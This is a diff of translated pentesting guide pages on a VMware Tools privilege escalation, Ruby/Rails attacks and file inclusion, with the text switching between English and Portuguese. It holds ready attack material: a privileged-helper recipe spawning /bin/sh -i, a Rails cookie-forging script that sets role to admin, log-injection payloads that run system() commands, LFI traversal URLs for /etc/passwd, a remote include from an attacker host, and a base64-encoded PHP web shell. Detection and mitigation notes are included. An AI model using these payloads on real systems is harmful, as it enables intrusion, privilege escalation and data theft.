/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr" ``` -## Generalizando a técnica: regex-driven discovery abuse (portable pattern) +## Generalizing the technique: regex-driven discovery abuse (portable pattern) -Muitos agentes e pacotes de monitoramento implementam descoberta de versão/serviço por: -- Enumerar processos com listening sockets -- Grep em argv/linhas de comando com regexes permissivas (p.ex., padrões contendo \S) -- Executar o caminho correspondente com uma flag benigna como -v, --version, -V, -h +Muitos agentes e suítes de monitoramento implementam descoberta de versão/serviço por: +- Enumerar processos com sockets de escuta +- Fazer grep em argv/linhas de comando com regexes permissivas (por exemplo, padrões contendo \S) +- Executar o caminho correspondido com uma flag benigna como -v, --version, -V, -h -Se a regex aceitar caminhos não confiáveis e o caminho for executado a partir de um contexto privilegiado, obtém-se CWE-426 Untrusted Search Path execution. +Se a regex aceitar caminhos não confiáveis e o caminho for executado a partir de um contexto privilegiado, você obtém CWE-426 Untrusted Search Path execution. Abuse recipe - Nomeie seu binário como daemons comuns que a regex provavelmente corresponderá: httpd, nginx, mysqld, dataserver - Coloque-o em um diretório gravável: /tmp/httpd, ./nginx -- Assegure que ele corresponda à regex e abra qualquer porta para ser enumerada +- Garanta que ele corresponda à regex e abra qualquer porta para ser enumerada - Espere pelo coletor agendado; você obtém uma invocação privilegiada automática de -v Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth. Reusable privileged I/O relay trick -- Construa seu helper de forma que, quando invocado com privilégios (-v/--version), ele se conecte a um rendezvous conhecido (p.ex., um Linux abstract UNIX socket como @cve) e faça a ponte do stdio para /bin/sh -i. Isso evita artefatos no disco e funciona em muitos ambientes onde o mesmo binário é reinvocado com uma flag. +- Construa seu helper de forma que, ao ser invocado com privilégios (-v/--version), ele se conecte a um ponto de encontro conhecido (por exemplo, um socket UNIX abstrato do Linux como @cve) e faça uma ponte entre stdio e /bin/sh -i. Isso evita artefatos em disco e funciona em muitos ambientes onde o mesmo binário é re-invocado com uma flag. ## Detection and DFIR guidance Hunting queries -- Uncommon children of vmtoolsd or get-versions.sh such as /tmp/httpd, ./nginx, /tmp/mysqld -- Any execution of non-system absolute paths by discovery scripts (look for spaces in ${COMMAND%%...} expansions) -- ps -ef --forest to visualize ancestry trees: vmtoolsd -> get-versions.sh -> +- Filhos incomuns de vmtoolsd ou get-versions.sh, tais como /tmp/httpd, ./nginx, /tmp/mysqld +- Qualquer execução de caminhos absolutos não-sistêmicos por scripts de descoberta (procure por espaços em expansões ${COMMAND%%...}) +- ps -ef --forest para visualizar árvores de ancestralidade: vmtoolsd -> get-versions.sh -> On Aria SDMP (credential-based) -- Inspect /tmp/VMware-SDMP-Scripts-{UUID}/ for transient scripts and stdout/stderr artifacts showing execution of attacker paths +- Inspecione /tmp/VMware-SDMP-Scripts-{UUID}/ em busca de scripts transitórios e artefatos stdout/stderr mostrando a execução de caminhos do atacante Policy/telemetry -- Alert when privileged collectors execute from non-system prefixes: ^/(tmp|home|var/tmp|dev/shm)/ -- File integrity monitoring on get-versions.sh and VMware Tools plugins +- Alertar quando coletores privilegiados executarem a partir de prefixos não-sistêmicos: ^/(tmp|home|var/tmp|dev/shm)/ +- Monitoramento de integridade de arquivos em get-versions.sh e plugins do VMware Tools ## Mitigations -- Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP) -- Disable or restrict credential-less discovery where feasible -- Validate trusted paths: restrinja a execução a diretórios em lista de permitidos (/usr/sbin, /usr/bin, /sbin, /bin) e apenas binários exatos conhecidos -- Avoid permissive regexes with \S; prefer anchored, explicit absolute paths and exact command names -- Drop privileges for discovery helpers where possible; sandbox (seccomp/AppArmor) to reduce impact -- Monitor for and alert on vmtoolsd/get-versions.sh executing non-system paths +- Correção: Aplique atualizações Broadcom/VMware para CVE-2025-41244 (Tools and Aria Operations SDMP) +- Desative ou restrinja a descoberta sem credenciais quando viável +- Valide caminhos confiáveis: restrinja a execução a diretórios permitidos (/usr/sbin, /usr/bin, /sbin, /bin) e apenas binários conhecidos e exatos +- Evite regexes permissivas com \S; prefira caminhos absolutos explícitos ancorados e nomes de comando exatos +- Reduza privilégios para helpers de descoberta quando possível; sandbox (seccomp/AppArmor) para reduzir o impacto +- Monitore e gere alertas sobre vmtoolsd/get-versions.sh executando caminhos não-sistêmicos ## Notes for defenders and implementers diff --git a/src/network-services-pentesting/pentesting-web/ruby-tricks.md b/src/network-services-pentesting/pentesting-web/ruby-tricks.md index 9c9ea0e3c..8e5e24ff6 100644 --- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md +++ b/src/network-services-pentesting/pentesting-web/ruby-tricks.md @@ -1,51 +1,51 @@ -# Truques em Ruby +# Ruby Tricks {{#include ../../banners/hacktricks-training.md}} -## Upload de arquivo para RCE +## File upload to RCE As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications. Dicas: -- Outros locais de boot/eager-load que são executados na inicialização da app também são arriscados quando graváveis (por exemplo, `config/initializers/` é o clássico). Se você encontrar um upload arbitrário de arquivos que caia em qualquer lugar sob `config/` e seja posteriormente avaliado/required, pode obter RCE no boot. -- Procure builds de dev/staging que copiem arquivos controlados pelo usuário para a imagem do container onde Rails irá carregá-los na inicialização. +- Outros locais de boot/eager-load que são executados na inicialização da app também são arriscados quando graváveis (por exemplo, `config/initializers/` é o clássico). Se você encontrar um upload de arquivo arbitrário que caia em qualquer lugar sob `config/` e seja posteriormente avaliado/required, você pode obter RCE na inicialização. +- Procure dev/staging builds que copiem arquivos controlados pelo usuário para a imagem do container onde Rails irá carregá-los no boot. -## Active Storage image transformation → execução de comando (CVE-2025-24293) +## Active Storage image transformation → command execution (CVE-2025-24293) -Quando uma aplicação usa Active Storage com `image_processing` + `mini_magick`, e passa parâmetros não confiáveis para métodos de transformação de imagem, versões do Rails anteriores a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 podem permitir injeção de comando porque alguns métodos de transformação foram acidentalmente permitidos por padrão. +When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default. -- Um padrão vulnerável se parece com: +- A vulnerable pattern looks like: ```erb <%= image_tag blob.variant(params[:t] => params[:v]) %> ``` -onde `params[:t]` e/ou `params[:v]` são controlados pelo atacante. +where `params[:t]` and/or `params[:v]` are attacker-controlled. -- O que tentar durante os testes -- Identifique quaisquer endpoints que aceitem opções de variant/processing, nomes de transformação ou argumentos arbitrários do ImageMagick. -- Fuzz `params[:t]` e `params[:v]` em busca de erros suspeitos ou efeitos colaterais de execução. Se você conseguir influenciar o nome do método ou passar argumentos brutos que cheguem ao MiniMagick, pode obter code exec no host do processador de imagens. -- Se você só tem acesso de leitura a variantes geradas, tente exfiltração cega via operações ImageMagick crafted. +- What to try during testing +- Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments. +- Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host. +- If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations. -- Remediação/detecções -- Se você encontrar Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 com Active Storage + `image_processing` + `mini_magick` e transformações controladas pelo usuário, considere explorável. Recomende atualizar e aplicar allowlists estritas para métodos/params e uma policy do ImageMagick mais rígida. +- Remediation/detections +- If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy. ## Rack::Static LFI / path traversal (CVE-2025-27610) -Se a stack alvo usa Rack middleware diretamente ou via frameworks, versões de `rack` anteriores a 2.2.13, 3.0.14 e 3.1.12 permitem Local File Inclusion via `Rack::Static` quando `:root` não está definido/mal configurado. Traversal codificado em `PATH_INFO` pode expor arquivos sob o diretório de trabalho do processo ou um root inesperado. +If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root. -- Procure apps que montem `Rack::Static` em `config.ru` ou nas stacks de middleware. Tente traversals codificados contra caminhos estáticos, por exemplo: +- Procure apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example: ```text GET /assets/%2e%2e/%2e%2e/config/database.yml GET /favicon.ico/..%2f..%2f.env ``` -Ajuste o prefix para corresponder ao `urls:` configurado. Se a app responder com o conteúdo do arquivo, provavelmente você tem LFI para qualquer coisa sob o `:root` resolvido. +Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`. -- Mitigação: atualizar o Rack; garanta que `:root` aponte apenas para um diretório de arquivos públicos e seja explicitamente definido. +- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set. -## Forjar/descriptografar cookies do Rails quando `secret_key_base` is leaked +## Forging/decrypting Rails cookies when `secret_key_base` is leaked -Rails cifra e assina cookies usando chaves derivadas de `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. Isso frequentemente leva a authz bypass se a app armazenar roles, user IDs, ou feature flags em cookies. +Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies. -Minimal Ruby para descriptografar e recriptografar cookies modernos (AES-256-GCM, padrão nas versões recentes do Rails): +Ruby mínimo para descriptografar e recriptografar cookies modernos (AES-256-GCM, default in recent Rails): ```ruby require 'cgi' require 'json' @@ -70,13 +70,13 @@ plain['role'] = 'admin' if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts "Forged cookie: #{CGI.escape(forged)}" ``` -Notes: -- Aplicações mais antigas podem usar AES-256-CBC e salts `encrypted cookie` / `signed encrypted cookie`, ou serializadores JSON/Marshal. Ajuste salts, cipher, e serializer conforme necessário. +Notas: +- Apps mais antigos podem usar AES-256-CBC e salts `encrypted cookie` / `signed encrypted cookie`, ou serializadores JSON/Marshal. Ajuste salts, cipher e serializer conforme necessário. - Em caso de comprometimento/avaliação, rotacione `secret_key_base` para invalidar todos os cookies existentes. -## See also (Ruby/Rails-specific vulns) +## Veja também (vulnerabilidades específicas de Ruby/Rails) -- Desserialização em Ruby e class pollution: +- Ruby deserialization and class pollution: {{#ref}} ../../pentesting-web/deserialization/README.md {{#endref}} @@ -86,15 +86,90 @@ Notes: {{#ref}} ../../pentesting-web/deserialization/ruby-_json-pollution.md {{#endref}} -- Injeção de template em engines Ruby (ERB/Haml/Slim, etc.): +- Template injection in Ruby engines (ERB/Haml/Slim, etc.): {{#ref}} ../../pentesting-web/ssti-server-side-template-injection/README.md {{#endref}} +## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling -## References +When an app (often a simple Rack/Sinatra/Rails endpoint) both: +- logs a user-controlled string verbatim, and +- later `load`s a file whose path is derived from that same string (after `Pathname#cleanpath`), + +You can often achieve remote code execution by poisoning the log and then coercing the app to `load` the log file. Key primitives: + +- Ruby `load` evaluates the target file content as Ruby regardless of file extension. Any readable text file whose contents parse as Ruby will be executed. +- `Pathname#cleanpath` collapses `.` and `..` segments without hitting the filesystem, enabling path smuggling: attacker-controlled junk can be prepended for logging while the cleaned path still resolves to the intended file to execute (e.g., `../logs/error.log`). + +### Minimal vulnerable pattern +```ruby +require 'logger' +require 'pathname' + +logger = Logger.new('logs/error.log') +param = CGI.unescape(params[:script]) +path_obj = Pathname.new(param) + +logger.info("Running backup script #{param}") # Raw log of user input +load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath +``` +### Por que o log pode conter código Ruby válido +`Logger` escreve linhas de prefixo como: +``` +I, [9/2/2025 #209384] INFO -- : Running backup script +``` +In Ruby, `#` inicia um comentário e `9/2/2025` é apenas aritmética. Para injetar código Ruby válido você precisa: +- Comece seu payload em uma nova linha para que não seja comentado pelo `#` na linha INFO; envie uma nova linha inicial (`\n` ou `%0A`). +- Feche o `[` pendente introduzido pela linha INFO. Um truque comum é começar com `]` e opcionalmente deixar o parser satisfeito com `][0]=1`. +- Em seguida, coloque Ruby arbitrário (por exemplo, `system(...)`). + +Exemplo do que terminará no log após uma requisição com um parâmetro forjado: +``` +I, [9/2/2025 #209384] INFO -- : Running backup script +][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log +``` +### Smuggling a single string that both logs code and resolves to the log path + +Queremos uma única attacker-controlled string que: +- quando registrada raw, contém nosso Ruby payload, e +- quando passada por `Pathname.new().cleanpath`, resolve para `../logs/error.log`, de modo que o subsequente `load` execute o arquivo de log recém-poisoned. + +`Pathname#cleanpath` ignora schemes e colapsa traversal components, então o seguinte funciona: +```ruby +require 'pathname' + +p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log") +puts p.cleanpath # => ../logs/error.log +``` +- O `#` antes de `://` faz com que Ruby ignore o restante quando o log é executado, enquanto `cleanpath` ainda reduz o sufixo para `../logs/error.log`. +- A nova linha inicial sai da linha INFO; `]` fecha o colchete pendente; `][0]=1` satisfaz o parser. + +### Exploração ponta a ponta +1. Envie o seguinte como nome do script de backup (codifique em URL a primeira nova linha como `%0A`, se necessário): +``` +\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log +``` +2. A aplicação registra sua string bruta em `logs/error.log`. +3. A aplicação calcula `cleanpath`, que resolve para `../logs/error.log`, e chama `load` nele. +4. Ruby executa o código que você injetou no log. + +Para exfiltrar um arquivo em um ambiente do tipo CTF: +``` +\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log +``` +PoC codificado em URL (o primeiro caractere é uma nova linha): +``` +%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log +``` +## Referências + +- Anúncio de Segurança do Rails: CVE-2025-24293 — métodos de transformação inseguros do Active Storage (corrigido em 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670 +- Aviso do GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v +- [Hardware Monitor Dojo-CTF #44: Log Injection para Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44) +- [Ruby Pathname.cleanpath documentação](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath) +- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html) +- [Como o load do Ruby funciona](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html) -- Anúncio de Segurança do Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670 -- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index 78dd17e01..62a044f1b 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -15,11 +15,9 @@ msf> auxiliary/scanner/vmware/vmware_http_login ``` Se você encontrar credenciais válidas, pode usar mais módulos de scanner do metasploit para obter informações. - - ### Veja também -Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244): +Linux LPE via descoberta de serviço do VMware Tools (CWE-426 / CVE-2025-41244): {{#ref}} ../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 1a712658b..b9112ab53 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,7 +4,7 @@ ## File Inclusion -**Remote File Inclusion (RFI):** O arquivo é carregado de um servidor remoto (Melhor: You can write the code and the server will execute it). In php this is **disabled** by default (**allow_url_include**).\ +**Remote File Inclusion (RFI):** O arquivo é carregado de um servidor remoto (Melhor: você pode escrever o código e o servidor irá executá-lo). Em php isso está **desativado** por padrão (**allow_url_include**).\ **Local File Inclusion (LFI):** O servidor carrega um arquivo local. A vulnerabilidade ocorre quando o usuário consegue, de alguma forma, controlar qual arquivo será carregado pelo servidor. @@ -19,7 +19,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ ``` ### **Linux** -**Misturando várias listas \*nix LFI e adicionando mais paths, eu criei esta:** +**Misturando várias listas LFI \*nix e adicionando mais caminhos, criei esta:** {{#ref}} @@ -29,11 +29,11 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion Tente também trocar `/` por `\`\ Tente também adicionar `../../../../../` -Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) +A lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** -Fusão de diferentes wordlists: +Mesclagem de diferentes wordlists: {{#ref}} @@ -43,19 +43,19 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion Tente também trocar `/` por `\`\ Tente também remover `C:/` e adicionar `../../../../../` -Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) +A lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** -Verifique a lista de LFI do Linux. +Verifique a lista de LFI do linux. -## Básico LFI e bypasses +## LFI básico e bypasses Todos os exemplos são para Local File Inclusion mas também podem ser aplicados a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` -### sequências de traversal removidas não recursivamente +### traversal sequences removidas não recursivamente ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -63,11 +63,11 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Contornar a adição de mais caracteres no final da string fornecida (bypass of: $\_GET\['param']."php") +Bypass o acréscimo de mais chars no final da string fornecida (bypass of: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` -Isto está **resolvido desde o PHP 5.4** +Isto foi **resolvido desde o PHP 5.4** ### **Codificação** @@ -78,7 +78,7 @@ http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` -### A partir de uma pasta existente +### De uma pasta existente Talvez o back-end esteja verificando o caminho da pasta: ```python @@ -86,36 +86,36 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Explorando diretórios do sistema de arquivos em um servidor -O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade de diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para conseguir isso: +O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para conseguir isso: -1. **Determinar a profundidade do diretório:** Determine a profundidade do seu diretório atual obtendo com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for Linux-based). Um exemplo de URL pode estar estruturado da seguinte forma, indicando uma profundidade de três: +1. **Determinar a profundidade do diretório:** Estabeleça a profundidade do seu diretório atual obtendo com sucesso o arquivo /etc/passwd (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Procurar por pastas:** Anexe o nome da pasta suspeita (por exemplo, `private`) à URL, depois navegue de volta para `/etc/passwd`. O nível adicional de diretório requer incrementar a profundidade em uma unidade: +2. **Procurar por pastas:** Anexe o nome da pasta suspeita (por exemplo, `private`) à URL, depois navegue de volta para `/etc/passwd`. O nível de diretório adicional exige aumentar a profundidade em uma unidade: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` -3. **Interprete os resultados:** A resposta do servidor indica se o diretório existe: -- **Erro / Sem saída:** O diretório `private` provavelmente não existe no local especificado. -- **Conteúdo de `/etc/passwd`:** A presença do diretório `private` está confirmada. -4. **Exploração Recursiva:** Diretórios descobertos podem ser investigados mais a fundo em busca de subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI). +3. **Interpretar os resultados:** O response do servidor indica se a pasta existe: +- **Erro / Sem saída:** A pasta `private` provavelmente não existe no local especificado. +- **Conteúdo de `/etc/passwd`:** A presença da pasta `private` está confirmada. +4. **Exploração recursiva:** Pastas descobertas podem ser investigadas mais a fundo por subdiretórios ou arquivos usando a mesma técnica ou os métodos tradicionais Local File Inclusion (LFI). -Para explorar diretórios em diferentes locais do sistema de arquivos, ajuste o payload de acordo. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual esteja a uma profundidade de 3), use: +Para explorar diretórios em diferentes locais do sistema de arquivos, ajuste o payload de acordo. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está em uma profundidade de 3), use: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation é um método empregado para manipular caminhos de arquivos em aplicações web. É frequentemente usado para acessar arquivos restritos contornando certas medidas de segurança que adicionam caracteres extras ao final dos caminhos. O objetivo é construir um caminho que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado. +Path truncation é um método empregado para manipular caminhos de arquivo em aplicações web. É frequentemente usado para acessar arquivos restritos contornando certas medidas de segurança que adicionam caracteres adicionais ao final dos caminhos de arquivo. O objetivo é criar um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado. -In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. For instance: +Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo: -- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path. -- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file. -- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed. +- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` são todos tratados como o mesmo caminho. +- Quando os últimos 6 caracteres são `passwd`, acrescentar um `/` (transformando em `passwd/`) não altera o arquivo alvo. +- Da mesma forma, se `.php` é anexado a um caminho de arquivo (como `shellcode.php`), adicionar um `/.` no final não alterará o arquivo acessado. -Os exemplos fornecidos demonstram como utilizar path truncation para acessar `/etc/passwd`, um alvo comum devido ao seu conteúdo sensível (informações de contas de usuário): +Os exemplos fornecidos demonstram como utilizar Path truncation para acessar `/etc/passwd`, um alvo comum devido ao seu conteúdo sensível (informações de contas de usuário): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -125,13 +125,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -Nesses cenários, o número de traversals necessários pode ser cerca de 2027, mas esse número pode variar com base na configuração do servidor. +Nesses cenários, o número de travessias necessárias pode ser cerca de 2027, mas esse número pode variar com base na configuração do servidor. -- **Uso de segmentos de ponto e caracteres adicionais**: Sequências de traversal (`../`) combinadas com segmentos de ponto extras e caracteres podem ser usadas para navegar no sistema de arquivos, ignorando efetivamente strings anexadas pelo servidor. -- **Determinando o número necessário de traversals**: Por tentativa e erro, é possível encontrar o número preciso de sequências `../` necessárias para chegar ao diretório raiz e então a `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas o caminho desejado (`/etc/passwd`) permaneça intacto. -- **Começar com um diretório falso**: É prática comum iniciar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como precaução ou para satisfazer os requisitos da lógica de parsing de caminhos do servidor. +- **Using Dot Segments and Additional Characters**: Sequências de traversal (`../`) combinadas com segmentos de ponto adicionais e caracteres podem ser usadas para navegar no sistema de arquivos, ignorando efetivamente strings anexadas pelo servidor. +- **Determining the Required Number of Traversals**: Por tentativa e erro, é possível encontrar o número preciso de sequências `../` necessário para navegar até o diretório raiz e depois para `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas o caminho desejado (`/etc/passwd`) permaneça intacto. +- **Starting with a Fake Directory**: É prática comum começar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como medida de precaução ou para satisfazer os requisitos da lógica de análise de caminhos do servidor. -Ao empregar técnicas de truncamento de caminho, é crucial entender o comportamento de parsing de caminhos do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes são frequentemente necessários para encontrar o método mais eficaz. +Ao empregar técnicas de truncamento de caminho, é crucial entender o comportamento de análise de caminhos do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes são frequentemente necessários para encontrar o método mais eficaz. **Esta vulnerabilidade foi corrigida no PHP 5.3.** @@ -145,41 +145,41 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -No php isso está desabilitado por padrão porque **`allow_url_include`** está **Off.** Precisa estar **On** para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE: +No php isso está desabilitado por padrão porque **`allow_url_include`** está **Off.** Deve estar **On** para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Se por algum motivo **`allow_url_include`** estiver **On**, mas o PHP estiver **filtrando** o acesso a páginas externas, [de acordo com este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você pode usar, por exemplo, o data protocol com base64 para decodificar um código PHP b64 e egt RCE: +Se por algum motivo **`allow_url_include`** estiver **On**, mas o PHP estiver **filtrando** o acesso a páginas externas, [de acordo com este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você poderia usar, por exemplo, o protocolo data com base64 para decodificar um código PHP em b64 e obter RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> No código anterior, o `+.txt` final foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e, após o b64 decode, essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado). -> -> Outro exemplo **sem usar o protocolo `php://`** seria: +> No código anterior, o `+.txt` final foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e, após a decodificação b64, essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado). +> +> Outro exemplo **não usando o protocolo `php://`** seria: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` -## Python Elemento Root +## Elemento raiz em Python -Em python, em um código como este: +Em Python, em um código como este: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` -Se o usuário passar um **absolute path** para **`file_name`**, o **previous path é simplesmente removido**: +Se o usuário passar um **caminho absoluto** para **`file_name`**, o **caminho anterior é simplesmente removido**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` -Esse é o comportamento esperado de acordo com [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): +Isso é o comportamento pretendido de acordo com [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): > Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto. ## Java Listar Diretórios -Parece que, se você tiver um Path Traversal em Java e você **pedir um 